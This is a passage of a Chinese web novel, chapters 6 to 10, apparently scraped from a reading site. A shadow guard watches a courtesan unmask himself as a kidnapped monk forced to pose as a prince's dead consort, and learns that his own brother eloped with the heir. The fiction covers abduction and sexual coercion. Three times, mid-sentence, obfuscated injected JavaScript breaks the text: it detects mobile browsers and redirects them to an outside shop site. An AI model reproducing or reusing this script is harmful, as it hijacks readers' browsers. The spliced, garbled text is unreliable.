这什么情况?王爷和王妃?正室和替身? 他还没来得及细想,胳膊忽然被人拽了一把。 他偏头一看,是阿七。 阿七不知什么时候挪到了他身边,一脸焦急,压低声音道:“你还在这儿干嘛?还不退下去!” 陆停心领神会。 他猫着腰,从扎眼的房间门口一点一点往后挪,像一只顾涌的虫子,直到把自己塞进走廊的暗卫堆里,和其他人跪成一排。 从这儿往下看,正好能看清大堂的全貌。 老人还站在那儿,仰着头,看着楼梯上的王妃。 王妃站在楼梯中间,低着头,肩膀还在抖。 沉默。漫长的沉默。 老人终于又说话了。 他的声音依然温柔,温柔得像在哄孩子。 “你怎样胡闹都无所谓。” “不过从今日起,别戏弄这些暗卫了。” 他的目光扫过四楼那些跪着的黑色身影,夹杂了些阴沉。 “他们有更重要的任务。” 王妃抬起头。 她脸上的泪痕还没干,但嘴角已经勾了起来,是那种得意的笑。 “我知道。” 她拍拍手:“你儿子丢了嘛。” 她的声音恢复了那种轻飘飘的调子,一字一句。 “王妃生的小世子丢了。” “她死得决然,就留给你这么一个念想。” 她笑了,笑得很好看,笑得像一朵花。 “你知道吗?”她一字一顿,“世子——是被我搞丢的。” 话音落下,楼里的气息变了。 陆停感觉到了。 那种寒意,从脚底升起来,顺着脊背往上爬,一直爬到后脑勺。他太熟悉这种感觉了——是死亡的气息。是杀意。是某些副本里大boss发怒前的前兆。 他跪在地上,嗅到死亡的气息。 不过老人只是站在那儿,一动不动。 那张枯槁的脸上没有任何表情,只是那双眼睛—— 那双眼睛暗了下去。 像一盏灯,忽然被人吹灭了。 他动了。不是站起来——他一直站着。但陆停看见他的脊背,一点一点,直了起来。 那个佝偻的老人,像一具被什么力量撑开的木偶,一寸一寸地挺直。他的骨架发出咯吱咯吱的声响。 老人的影子在地上拉长。 陆停看见他的手指,枯瘦的、干柴一样的手指,一根一根,慢慢蜷紧。 他没有说话。 但那沉默比任何咆哮都可怕。 楼里的烛火开始摇晃。 不是风吹的——门窗都关着。是有什么东西在让它们摇晃。火光忽明忽暗,把老人的影子拉成奇形怪状的形状,投在墙上、地上、梁上。 陆停屏住呼吸。 他感觉到身边的阿七也在发抖——不是害怕的发抖,是那种被什么气场压制住的本能反应。 王妃站在楼梯中间,站得倒是稳当。 她看着楼下那个正在变化的老人,脸上的笑容一点一点僵住。 这个女人,好像终于知道怕了。 但在她的眼里,又闪着小小的火苗。 怕?也许根本不是。 7. 第 7 章 陆停跪在暗卫堆里,依旧透过栏杆缝隙往下看。 老人整个人像一棵枯了多年的老树忽然活过来—是抽枝发芽的那种活,是腐朽的木头里钻出一条蛇的那种活。 他的影子在地上拉得很长,烛火晃一下,那影子就跟着抖一下。 陆停盯着他,心跳陡然快了半拍。 不是害怕,是期待。 是那种等了太久终于等到正片的激动。 自从进入副本以来,从房梁上醒来开始,陆停就一直在跑剧情:蹲点、救人、挨骂、看戏、吃饭、被架着上楼、被摸腹肌、看王妃发疯—— 简直全是游戏里的过场动画。 系统呢?主线呢?任务呢? 连个提示都没有。 陆停跪在那儿,脑子里转得飞快:无限流的副本,哪有这么长的铺垫?按照正常节奏,这会儿早该进入正题了:鬼怪出现、队友祭天、逃生开始。 他看着楼下那个正在“变形”的老人,心里涌起一股近乎欣慰的情绪。 终于。终于要来了。 他盯着老人,盯着那张越来越不像人的脸,脑子里开始自动播放那些熟悉的老套剧情,揣测: 接下来,这老头会把身上的皮揭下来,露出底下真正的怪物模样。 然后楼里的灯会同时灭掉。 等灯再亮起来的时候,徐玥说不定会穿着一身红衣被吊在梁上,脖子折成九十度,舌头伸得老长。 她的怨魂会在楼里游荡,挨个儿找那些看过她笑话的人索命。 标准的古代恐怖副本开局。 陆停默默在心里给自己打了打气:没事,见过。 酒店里开门遇女鬼那次比这吓人多了。这次有心理准备,不怕。 陆停深吸一口气,做好了目睹血腥场面的准备。 然而,什么都没发生。 老人确实变了。 脊背直了,眼睛暗了,烛火晃了。 然后呢?然后他就那么站着。 站着。一直站着。 像一个卡了壳的播放器,画面定格在“发怒”的瞬间,再没有下一步。 陆停等了三秒。五秒。十秒。 楼里静得能听见自己心跳的声音。老人站在那儿,一动不动。王妃站在楼梯中间,一动不动。暗卫们跪了一地,一动不动。 陆停:“…………” 就这?就怒了一下? 他的期待像被戳破的气球,“噗”地一声瘪了下去。 行吧。看来不是恐怖本。 他正腹诽着,忽然听见一阵急促的脚步声。 有人从暗处冲了出来。 是一个暗卫——他动作极快,从角落里弹射而出,像一支离弦的箭,直奔楼梯中段的徐玥。 可以说是很会揣摩主子心意的暗卫,精准地知道自己该干什么。 徐玥还没反应过来,背上已经挨了一脚。 那一脚踹得又狠又准,正踩在她后心。她整个人往前一栽,从楼梯上滚了下去。 咕咚。咕咚。咕咚。 胭脂红的衣裙在楼梯上翻滚,好似一团被揉皱的花瓣。她滚了七八级台阶,最后“砰”地一声砸在老人脚边,仰面朝天,嘴角渗出鲜红的血。 她躺在那里,仰头看着老人,却是笑着。那笑容很苍白,嘴角还挂着血,但笑得还是很好看。 老人低头看着她。很长一段时间的沉默过后,老人蹲下身。 他蹲得很慢,膝盖咯吱响了两声。他伸出手,枯瘦的手指轻轻抚过她的脸颊,拭去她嘴角的血,像最体贴的情人。 他的动作很轻,轻得像在碰一件易碎的瓷器。 “乖。” 他的声音又变回了那种温柔。 “别闹。” “认错。” 王妃,或者说,徐玥。这人躺在地上,仰着脸看他。她的眼睛亮晶晶的,带着泪,带着笑,带着说不清的东西。 “认错?”她的声音沙哑,但依然带着笑,“我不认。” 她咳了一声,又吐出一口血。 “还有,你若是不信,大可去看看。” 她抬起手,指着四楼的方向。 “让那些暗卫去我房里。开那只朱红的箱子。” 她的嘴角勾起来:“里面有你想看的。” 老人只是看着她,眼神复杂得像一潭深不见底的水。 思忖一刻,他微微偏过头。 那动作很轻,但所有的暗卫都看见了。 又有人动了。这些暗卫里,多的是机灵人。 三四个人影从四楼的阴影里窜出来,房里冲去。动作极快,像黑色的闪电,眨眼间就没入那扇半开的门。 陆停跪在原地,看着那些人影消失在门里。 他忽然有一种奇怪的预感。 朱红的箱子。里面有什么? 不久后,那几个人出来了,还抬着一只箱子。 朱红色。不大,三尺见方。箱子被抬下楼,放在大堂正中,放在老人脚边。 老人还蹲着,还看着徐玥。他看了一眼那只箱子,又收回视线,继续看着徐玥。 “打开。”他说。 声音很轻。 暗卫们应声而动。 箱盖被掀开。 陆停跟着人群从四楼下来了。他跟在那些暗卫后面,一步一步走下楼梯,站在人群外围,伸长脖子往里看。 人太多太挤,他看不清箱子里的东西。 只依稀瞧见最上面是一叠纸。 泛黄的,叠得整整齐齐的纸。 有人伸手进去,把那叠纸拿了出来。 是一封信。 不,不止一封。 是一叠信。 那人把信抖开,念了一句什么。陆停没听清,只听见“公子”两个字。 接着是第二封。第三封。第四封。 那些信被一封一封拿出来,递给老人。老人没有接,只是看了一眼,眼神越来越沉。 忽然—— 陆停的呼吸停了。 他看见了。 在那些信件的下面,在那一叠泛黄的纸笺旁边,露出来一张纸。 那张纸的材质不一样。 不是宣纸,不是花笺,是—— 是那种光滑的、印刷的、在现代随处可见的纸。 天爷的,是一张高中语文试卷。 这儿怎么会有这种玩意儿? 陆停死死盯着那张试卷,盯着那上面熟悉的排版:文言文阅读、古诗词鉴赏、作文格子。 题目是一道没做的,但空白处洋洋洒洒写着情话。 而且试卷右上角还有两个字,是手写的,写得斗大,墨迹有些褪了,但还能看清: “陆娇。” 陆停的心跳这下狠狠停了一拍。 陆娇。陆娇。 他弟弟的名字。 他之前的猜想就这么被猝不及防地证实了。我的老天奶,我弟真被牵扯进这件事里来了? 他站在那里,周围的一切都好像模糊了——那些暗卫,那只箱子,那个躺在地上的女人,那个蹲着的老人。他只能看见那张试卷,看见那两个字。 陆娇。 他弟弟。 那个拐走世子的人,那个叫陆娇的小公子,那个在桥上伸手接纱巾、在河边哈哈大笑、在医馆门口抱着猫走进去再也没出来的人—— 就是他弟弟。 天杀的,是他的亲弟弟! 陆停先是眼眶一热,激动地想着弟弟还活着,接着就有些痛苦起来。 陆停深吸一口气,强迫自己冷静下来。 诡异的是,周围没有人注意那张试卷。暗卫们忙着翻看那些信件,一封一封地递给老人。他们的目光扫过那张光滑的纸,扫过那陌生的印刷体,扫过“陆娇”那两个字,目光就很快移开了,像看一张废纸一样移开了。 他们竟不觉得奇怪,像被这个世界强行压下去了什么。如今想来,之前在梁上,阿七看到布洛芬之时,也只是觉得拿错了东西,竟然没有十分诧异。 陆停垂下眼,把脸上的表情压下去,努力思考,尽力不让别人看出自己的异常。 此时他听见有人在念信。 “……月出皎兮,佼人僚兮……” 情诗。全是情诗。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17224142|197542||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那个暗卫念得磕磕巴巴,显然不太认得那些文绉绉的字。但他还是在念,念给老人听。 老人没有表情,他只是听着。 听完一封,又一封。 终于,他开口了。 “多久?” 声音很轻,轻得像从牙缝里挤出来的。 徐玥躺在地上,仰着脸看他。她的嘴角还挂着血,但她的笑容越来越灿烂。 “上月游园会。” 她的声音沙哑,但一字一句,清清楚楚。 “世子难得跟着老夫人出来,遇上公子折花。我就跟在后面,看得真切清楚。” “世子远远地看了一眼。” 她笑了:“就一眼。” 老人没有说话。 徐玥继续说: “我帮他们递的信。一封一封,都是我经手的。” 她抬起手,指着那只箱子:“这里头,全是。你慢慢看。” 老人低下头,看着她的脸。 他的眼神很奇怪。陆停站在人群外围,看不清那眼神里有什么——是愤怒?是悲伤?是失望?还是别的什么? 徐玥则是迎着他的目光,毫不退缩。 徐玥笑得张扬,笑得放肆: “私奔。” 她一字一顿: “你儿子跟人私奔了,你知道吗?” 她的声音在空旷的大堂里回荡,撞在墙上,撞在每一个人的耳朵里。 “是我帮忙的!” 静。 死一般的静。 陆停站在人群里,看着老人的背影,看着那双枯瘦的手。 那双手在发抖。 很轻,很轻的抖。 老人动了。他一把揪住徐玥的衣领,把她从地上拎起来。 徐玥整个人悬在半空,像一只被掐住脖子的鸟。她的脸涨红,嘴角的血流下来,滴在老人手上。 但她还在笑。 笑得眼睛弯弯的,笑得像个疯子。 老人揪着她的衣领,把她拎到面前,凑得很近,近到能看见彼此瞳孔里的倒影。 他的手指在收紧。 衣领跟着在收紧。 徐玥的呼吸开始变得困难,喉咙里发出“嗬嗬”的声音。 但她还是在笑。 下一刻,徐玥的笑带了一丝决然的狠意。 她猛地用尽最后的力气,伸手往自己胸口一撕。 “嘶啦——” 布料裂开的声音在寂静的大堂里格外刺耳。 徐玥挣脱老人的手,踉跄着退后两步,站在那儿。 她开始脱。脱外衣。脱里衣。 一件一件,往地上扔。 她脱得很快,快得所有人都来不及反应。那些衣服落在地上,堆成一堆胭脂红的、月白的、浅粉的布料,还沾着她咳出来的血。 烛火在她身后跳动,把她的轮廓映得清清楚楚。 陆停站在人群里,看着那个身影。 平坦的。 没有起伏的。 他看见了。 所有人都看见了。 那个自称王妃的女人,那个在春月楼做头牌的女人,那个伸手摸他腹肌的女人—— 胸口平坦。 下面…… 陆停没有再看下去。 他站在那里,脑子里一片空白。 四周的暗卫们也僵住了。那些杀人不眨眼、刀架脖子上都不皱一下眉的暗卫们,此刻齐刷刷地愣在原地,像一群被点了穴的泥塑。 有人张了张嘴,没发出声音。 有人下意识后退一步,靴底蹭在地上,发出轻微的摩擦声。 徐玥就这么站在大堂正中,赤条条的,坦坦荡荡,身体泛着莹润的光泽。 他看着老人,笑了。 那笑容里带着泪,带着疯狂,带着一种说不清的释然。 “王爷。” 他的声音沙哑。话是冲着面前的老人说的实则是讲给那位懒得露面的王爷。 “你看清楚了。” 他张开双臂,转了一圈。 “我身上都有哪些物件?” 8. 第 8 章 暗卫们愣在原地,也就那么两三秒。 然后有人动了——不是往前冲,是往后退。退得很快。 接着是第二个、第三个。 呼啦啦又跪下一片。 好得很,进入这个副本以后,跪完以后没多久,又得跪。快赶上清宫剧了! 陆停也跟着跪了下去。膝盖磕在地上,疼是真的疼,但他顾不上。他低着头,视线落在身前的地砖上,眼珠子一动不动。 该死。 该死该死该死。 今夜先是弄丢世子,接着看见王爷宠爱的女人的身体——不对,不是女人,是男人——不对,是王爷宠爱的“女人”的身体。 这日子真是没活头了。大家一起原地上吊拉倒。 他听见徐玥的声音从前方传来,沙哑,但一字一句清清楚楚: “宁王爷。我是男的。” “你看清楚了没有?” 陆停跪在地上,跟着大家一起安静如拔了毛的鹌鹑。他能感觉到那股压抑的气息,落在每个人身上。 徐玥很满意大家这种反应,扯开鲜红的嘴角。 “你们不想知道,”他说,“我是怎么变成这样的吗?” 陆停:......听了会被灭口的吧。算了,今夜也不差这一件了。 徐玥还是开始说了。 他的声音从前方飘过来,带着一种奇怪的平静。不是释然的平静,是那种死透了之后的平静。 “我本来是庙里的和尚。” 陆停跪在地上,耳中听得真切。 和尚? “很小的庙,”徐玥说,“城西三十里,半山腰上。七个和尚,一个老师父,剩下的都是捡来的孤儿。” “我就是被捡来的其中一个。” 烛火晃了晃,像是在倾身聆听这段往事。 “那年春天,宁王府的老夫人来庙里礼佛。”徐玥的声音继续,“老师父带着我们几个小的在门口迎。我那时候……十八岁?十九岁?记不清了。” 他笑了一声。 “我就站在那儿,双手合十,低着头。老夫人从我面前走过去,没看我。但她身后跟着一个人。” “那个人看了我一眼。” 陆停听到这里,心里忽然涌起一种不好的预感。 “四十来岁。”徐玥说,眼中尽是惨然,“穿一身玄色的袍子,腰间系着玉带。他站在那儿,周围的人都低着头,只有他倨傲地扬起下巴,看着我。” “我那时候不懂那眼神是什么意思。只觉得奇怪。” “后来我才知道,”他的声音低下去,“那是王爷。” 陆停的呼吸顿了一下,他能猜到后面是个什么走向了。 玥继续说下去。 “那天夜里,庙里来了人。”他的声音变得很平,平得像在说别人的事,“四个。黑衣。没有脸。” “他们把我从被窝里拎出来,捂着嘴。我听见老师父在后面喊,喊了两声就没声了。” “后来我才知道,他们打晕了师父。没杀。只是打晕,留着威胁我。” 陆停跪在地上,听着这些话,后背一阵阵发凉。万恶的旧社会诶。 “我被带到一个院子里。”徐玥说,“很大。很黑。我不知道是哪儿。” “有人给我灌药。我不知道是什么药。苦的。喝完我就睡着了。 醒来的时候——” 他的声音停住了,痛苦至极。 久到陆停以为他不会再说下去了。 然后他又开口了。 “醒来的时候,我一说话,声音就变了。” 他的声音忽然拔高,变得尖细,像女人—— 不,那就是女人的声音。 你们听。” 他用那个尖细的声音说。 “就是这样,你们如今听到的我的声音。” 然后他又压下嗓音,似乎是试图找回原本的自己:“那时候我不知道是怎么回事。我以为我病了。我哭着喊师父,没人理我。” “后来有人进来。” “是个老婆子。穿得比庙里供的菩萨还好。她笑眯眯地看着我,说:像,真像。” “我不懂她在说什么。” “她让人拿衣服给我穿。” 徐玥的声音变得更平了。 “女人的衣服。 我不穿。她们就按着我穿。我撕。她们就打我。打完再穿。我咬她们,她们就灌我药。灌完我就睡。睡醒再穿。 这样过了很多天。我也不知道多少天。后来我不撕了。 因为她们说——” 他的声音忽然抖了一下。 那是陆停第一次听见他的声音里出现抖动。 “她们说,庙里那些和尚,老师父,师兄,师弟,全在她们手里。 我穿一天女人衣服,他们就活一天。我不穿,他们就死一个。” “我穿了。” 徐玥说。 “穿了一天,又一天,又一天。 后来她们开始教我走路,教我说话,教我笑,教我——怎么讨好男人。” 他的声音又开始抖。 “我不学。她们就打我。打完继续教。 我学会了。 后来她们拿来画像。 一张画像。画上的女人穿着王妃的服制,坐在那儿,微笑着看着我。 老婆子指着画像说:像她。越像越好。 我那时候才知道,我长得像一个人。像王爷死去的王妃。” 楼里的烛火又晃了晃,像旁观者哀哀戚戚,掩面落泪。 陆停跪在地上,脑子里忽然浮现出那个画面——一个十八九岁的孩子,被关在不知名的院子里,被迫穿女人的衣服,学女人的样子,只因为长得像某个死去的女人。 他忽然想起阿七说的那句话:王府的暗卫,不允许活得像个人。 那这个呢?这个算什么? 把活生生的人变成鬼? 徐玥的声音恍若隔世一样,还在叙述。 “后来我见过王爷,就一次,那天夜里他来了,喝了很多酒。他看着我,眼睛是红的,像哭过。” “他叫我,叫的是那个女人的名字。 说什么绝不会再纳妾,说什么已把那个民间女子剁了喂狗,求他的夫人饶过他这一次。” 这之后,噩梦来了。 如果说之前那些教学,已经给了徐玥心灵上的折磨。那么那晚,真正的噩梦降临,彻底击垮徐玥的心神。 “就那一次,就那一夜,但足够让我恶心到现在。” 他的声音忽然拔高,带着压抑不住的颤抖: “就因为我长得像她,哈?” 他顿住了,然后他笑了。那笑声很轻,很淡。 “王爷只和我共度过一夜,”他的牙齿咯吱作响,“但足够让我恶心到现在。” 陆停跪在地上,听着这句话,心里忽然涌起一种说不清的感觉。 男人啊,对被人上了这种事情这么绝望的吗。 不,不对,对这个人来说,更多的还是尝到了被权力压着的屈辱吧。 忽然有声音从前方传来。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17224143|197542||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 是那个老人。 “够了。” 声音很轻,但所有人都听见了。 徐玥没有停。 “不够。” 他的声音在空旷的大堂里回荡,控诉:“远远不够。” “你们知道我那时怎么过的吗? 我被关在那个院子里,穿女人的衣服,学女人的样子,每天对着镜子笑,笑到脸都僵了——就为了像她。 后来我发现,王爷根本不来。 他不来。他只看画像。只看信。只让别人替他来看我。” 徐玥指着那个老人: “他让他来。 他让这个——这个东西——来替他看我。替他和我说话。替他喝茶。” “你知道我那时候在想什么吗?” 徐玥问。 没有人回答。 他自己回答了。 “我在想:凭什么?凭什么我要受这个罪?凭什么他死了老婆,就要抓我来替? 凭什么他儿子——他和他那个宝贝王妃生的儿子——就能好好的,锦衣玉食,被人宠着捧着,什么都不知道?” 他的声音越来越高。 “后来我开了春月楼。 我做头牌。我卖艺。我给那么多男人弹琴唱曲——” 他笑了一声: “你不是喜欢我这张脸吗?你不是喜欢你的王妃吗?那我就扮做你的王妃,堕落给你看。” 他顿了顿,有些遗憾: “神奇的是,王爷默许了。 我开春月楼,他不管。我做头牌,他不管。我给男人弹琴唱曲,他——还是不管。 哈哈,根本伤害不到王爷的。 所以我做了一件事。一件让他这辈子都忘不了的事。” 听到这里,大家都想到了今夜失踪的世子。 果然,徐玥磨着牙,说: “我要让他儿子也像我那样,躺在另一个男人的身下。” 话音落下。 楼里的烛火忽然灭了。不是一盏,是全部。同时灭的。 陆停跪在黑暗里,心跳停了一拍。 黑暗来得太突然,他的眼睛还没适应,什么都看不见。但他能听见—— 听见自己的心跳声。 听见周围暗卫的呼吸声,变得急促。 听见有什么东西在黑暗中移动——很轻,很快,像风,像鬼魅。 然后他听见一个声音。不是老人的声音。不是徐玥的声音。 是另一个声音。 从黑暗深处传来。 很低。很沉。像从地底下冒出来的。 “你——说——什——么?” 陆停跪在那儿,冷汗从后背渗出来。 他脑子里只有一个念头: 完了。 王爷原来在这里的吗? 而且王爷怒了! 不是刚才那种怒,是真正的、要死人的那种怒。 陆停还想起徐玥刚才那句话:“让他儿子也像我那样,躺在另一个男人的身下。” 那个男人是谁? 是陆娇。 是他亲弟弟。 陆停在黑暗里,也涌起一股绝望。 要死。 王爷是不是更恨我弟弟了?是不是要把他挫骨扬灰? 他跪在那儿,脑子飞速运转,然后冒出一个荒谬但很合理的念头: 那什么,王爷,能不能让我打个电话和我弟商量一下? 我劝劝他。 让他躺在你儿子身下,你看行吗? 9. 第 9 章 在王爷的真实声音出现的这一刻,就像是有铃铛在所有人耳边叮了一声,暗卫们瞬间被恐惧这种情绪死死绑住,肢体下意识地为着这份威压做出臣服的举动—— 腿是早已经跪了下去的,那么,大家这会儿就把脑袋也低下去,而且极为用力。听着周围接二连三的咚咚的叩头的声音,正想着荒唐话的陆停在心里叹一口气,将自己珍贵的额头轻轻抵在交叠的手背上。 不过,虽然这份恭敬在陆停这里打了折扣,他的害怕却和大家是一样的,十足十地畏惧。 实在不知他弟弟招惹到的这个老丈人,发起怒来会是何种状况。 偏偏就在暗卫们哐哐地磕下头以后,黑暗中寂寂无声。大家的眼睛本来就看不见什么了,耳朵还听不到新的动静,简直就是一种残忍的折磨。 这是将一条条鱼摁在结了冰的河水中,等待悬而未落的长矛。 别的暗卫此时在揣测王爷会如何处决徐玥,会不会迁怒到自己这边来,而陆停想的就更多。 陆停正在心里飞快地盘算当前的局面。 局面着实复杂且震撼。一个男人赤条条地站在这里,状若疯癫地陈述往事,最终落脚点在于他滔天的复仇大计里。 在这里听了半天,陆停听得出来,徐玥讲自己的过去有多惨,并不是来博取同情的。与之相反,他在招摇,在告诉在场的各位,过去我有多悲惨,今天这个复仇计划就有多爽。 问题是暗卫们也都是苦兮兮的卖力气的人,今晚有些人还刚因为世子丢了的事挨了鞭子。大家听着这种激昂的陈述,只是木然地瞧着。 陆停呢,就更为特殊了。 如果事情真是徐玥所说的那样,要知道,徐玥算计进去的,不止王爷,不止世子,还有陆娇。那是陆停的弟弟。 陆停怕弟弟是真的爱上了那位小世子,被徐玥逮住机会狠狠利用,又怕弟弟是在故意配合徐玥,演一出蓄谋已久的戏——若是如此,那这件事里的漩涡就更大、更深。 说句烂俗煽情的话,陆停已经失去过一次弟弟了,他实在无法再承受一次得而复失。 哦,不,说什么得而复失,其实就是看见了弟弟的留下的东西而已。陆停连弟弟的一片衣角都还没望到,就被对方拐走世子的消息给震得脑袋嗡嗡的。 陆停又在心里叹一口气。 徐玥啊徐玥,若是我弟弟真的对那位世子一往情深,你这是在利用少年人的赤诚无畏。 若是你们之间有什么合作,你可知陆娇的身后还有一位忧心忡忡的兄长? 对待徐玥,陆停无法单纯地去苛责,毕竟这人的过去着实惨烈。而王爷就不一样了,此时此地的王爷,大约只想撕了徐玥了事。 静。黑暗中的空气缓缓流动,看似毫无波澜,实则在持续酝酿一场大雨。 暗卫们竖着耳朵听得仔细,依稀间听到轻微的摩擦声、咯吱声,却不知究竟发生了什么。这种感觉,就像是夜里躲在被窝,想象外面的鬼的青面獠牙模样。 忽然,猝不及防的,蜡烛齐齐亮起,火焰跳动。 暗卫们适应了黑暗的眼被这炽热的光晃到。有人壮着胆子将目光探出去,只见先前徐玥待过的地方空空荡荡,衣物与人都不见踪影。不仅如此,春月楼里的脂粉气更浓了,像是有人着意添了一些。 接着啪啪两声,是那位替身老人拍了手掌。 老人目视前方,语气里的感情少很多,简明扼要地道: “且都散去。今夜离了楼,莫再牵挂风花雪月。” 乍听上去,这话的意思是让大家管好嘴,出去切莫乱说话。但这叮咛实在有些多余,这些在场的暗卫,谁有胆子出去胡说八道?除非是觉得今晚接触到的灾祸太多了,自暴自弃,自个儿要先动手把脑袋摘下。 等那位替身老人撩起衣摆,施施然坐回去,轿子被人抬着转了方向,走出大门,这些暗卫这才纷纷起身。 陆停站直了,目光追着轿子离去的方向。 此时的陆停有种直觉,那就是徐玥绝对没有死。当然,这不是因为王爷发善心,而是留着徐玥还有用,王府得从他的嘴里掰出世子的下落。 说到这个陆停心里就有些急。派出所调解民事,都得双方当事人都到场的。不管怎么说,陆停是陆娇他哥,是他目前唯一的长辈,也算是苦主之一吧。 陆娇他老丈人,你得把我也捎回去啊,我就不能问问话了? 想归想,陆停并没有真的跟去王府的打算,除非他疯了。 就在陆停望着大门出神的时候,有人拍了他的背。回头去看,是阿七在叫他。 阿七挠一挠头,竟然颇有些遗憾地道:“我还以为能见着王爷呢。” 这下陆停笑了笑,因为他起初也是这么想的。 但王爷就是王爷,真是不显山不露水。而且经过刚才的事,陆停察觉到了,上位者的怒火,是不需要观众的。 徐玥折腾半天,招揽狂徒,聚集暗卫,在众人面前脱得精光,不惜自揭伤疤,就为了能有更多的人知道他的复仇,知道他的恨意,看着大家震惊害怕的样子,以此为乐。 但那位王爷真正动怒起来,却不用别人旁观,不用别人为他表演战战兢兢的情绪。毕竟,大家都是他手里随时会丢出去玩乐或泄愤的茶盏,一直都是怕他的,他不用在意。 而若是想着王爷后面不会对徐玥接着做什么,那就是天真了。这与之前那位替身的发怒可不同,王爷要做的事,也许会超出所有人的想象。 此刻陆停拍拍身上的灰,觉得精疲力尽。自从醒来以后到现在,大事串着小事、灾事不断,他实在太累,想着哪怕只是出去找一棵树也好,他得靠着什么地方睡上一觉。 做暗卫可真是苦,一宿不得停歇。 而就在这时,阿七却又拍一下他,好奇地道:“你不去领钱吗?他们都去排队了。” “啊?”陆停太累,脑袋晕乎乎,实在无法理解这没头脑的话。 阿七就好心地接着说,眼睛亮亮的:“你忘啦?当初徐玥给所有暗卫写信邀约,大家把信件交给老大,老大说只要咱们配合王妃玩一玩,就给咱们赏钱的。而且,还会褒奖我们的忠心。” 很好,这下陆停顿时精神抖擞起来了。 这个世界里的前置剧情真是刺激。 我就说嘛,我怎么敢来当狂徒的,合着是重赏之下必 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17224144|197542||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有勇夫?难怪阿七说佩服我的胆识。 你是真的莽啊,有钱,有画的大饼,你就真吃。 你以为你在干嘛,玩cosplay一日委托吗?有几块腹肌啊,脸多俊啊,这么自信? 陆停的太阳穴突突地跳起来。他回望着阿七,看着对方那亮晶晶的眼,磨着牙笑道: “他们要送死是他们的事。你是没听明白那位王爷替身最后的话?” 若是徐玥不搞出这出复仇,那今夜的狂徒与王妃的事,就是人家王爷和徐玥之间的小情趣,王爷还觉得乐呵呢。 但现在是个什么情况?看不明白吗? 王爷都借着替身之口发话了:今夜离了楼,莫再牵挂风花雪月之事。 这已经是大发慈悲了。 还未等陆停解释,那边,有人跳到桌子上,抱着梁柱正大骂特骂: “你们这群猪脑子,居然还来问我要钱!明天不过日子了是吧,我是怎么招揽到你们这些人的啊,我命苦啊,我撞死算了——” 说着,真的要哐哐撞柱子,起势很猛,实则脑袋谨慎地与柱子保持着一寸距离。此时就有人冷冷道:“你拿你自己的小金库犒赏我们,也可以的。” 头领更哀戚崩溃:“让我倒贴钱上工是吧,你咋这么聪明呢!” 远处的陆停:“......”大家好像有点蠢,又好像没那么蠢。 这种要钱的场面,好比婚礼上新娘新郎闹掰了,动起刀子,主持人和摄像师还能淡定地伸着手问主家要工资。 我管你这啊那啊的,活儿我已经干了,给钱。 一片混乱中,陆停将还在看热闹的阿七拉到一旁,低声道: “你那老娘呢,也住在春月楼吗?” 阿七愣愣地接话:“不啊,住在隔壁巷子里。” 陆停深吸一口气又吐出来:“赶紧接走。” 阿七也确实不是个蠢的,一下子懂了。徐玥事发,他的老娘又是入股春月楼的,难免受到牵连。 但今夜就要送出城吗?据阿七所知,王府的人马正在城门口和城外巡查,这时夜深,送人出去,容易招惹是非。 那,该接去哪里?总不能最危险的地方就是最安全的地方,背着人往王府里送吧? 就在阿七苦恼之际,陆停问他:“你知道城里有没人住的地方吗?” 比如今天集合时待的那种破院子。 这下阿七想起来了,城中确实有一处宅院,极为隐秘。原先是给暗卫们做落脚点用的,不过是荒废已久,没人去了。那里面有床铺,脏是脏,能作为一宿的藏身之地。 陆停听了,当即点头,拉着阿七就要去接他的老娘。 不过出了门,夜风一吹,走了几步以后,陆停的步子停了。 阿七心里一动。 他知道,陆停这时给自己帮忙,就是在引火上身。若是陆停回过味来了,不愿帮他,他能理解的。 同事而已,何必做到如此地步。 想到这里,阿七颇为感动地张口:“我......” 却是被陆停截断话头。 陆停问他:“我想知道,你老娘晚上睡觉打呼吗?” 10. 第 10 章 阿七张了张嘴,那句“我”还没说完,就被陆停这一问问懵了。 打呼? 他愣了两秒,才反应过来陆停是在开玩笑。 也不全是玩笑。陆停今夜累得够呛,是真的需要好好喘一口气,容不得打扰。 这样的插科打诨的话,瞬间将背老娘逃跑这件事变得轻松了一些。 “不打。”阿七小声道,“我娘睡觉很轻,不打呼。” 陆停点点头,没再说什么。 两人绕过春月楼的正门,钻进后面那条窄巷。巷子很深,两边是高高低低的屋檐,檐下堆着些杂物,破筐、旧坛子、劈了一半的柴。月光照不进来,只有人家门口挂着的灯笼在晃,光晕昏黄。 阿七在一扇木门前停住。 门很旧,木板裂了两道缝,门环是铁的,锈迹斑斑。他抬手叩了三下,停顿,又叩两下。 里头传来摸索的声音,很轻,然后是一道苍老的女声:“阿七?” “娘,是我。” 门栓抽开,门缝里透出一线光。 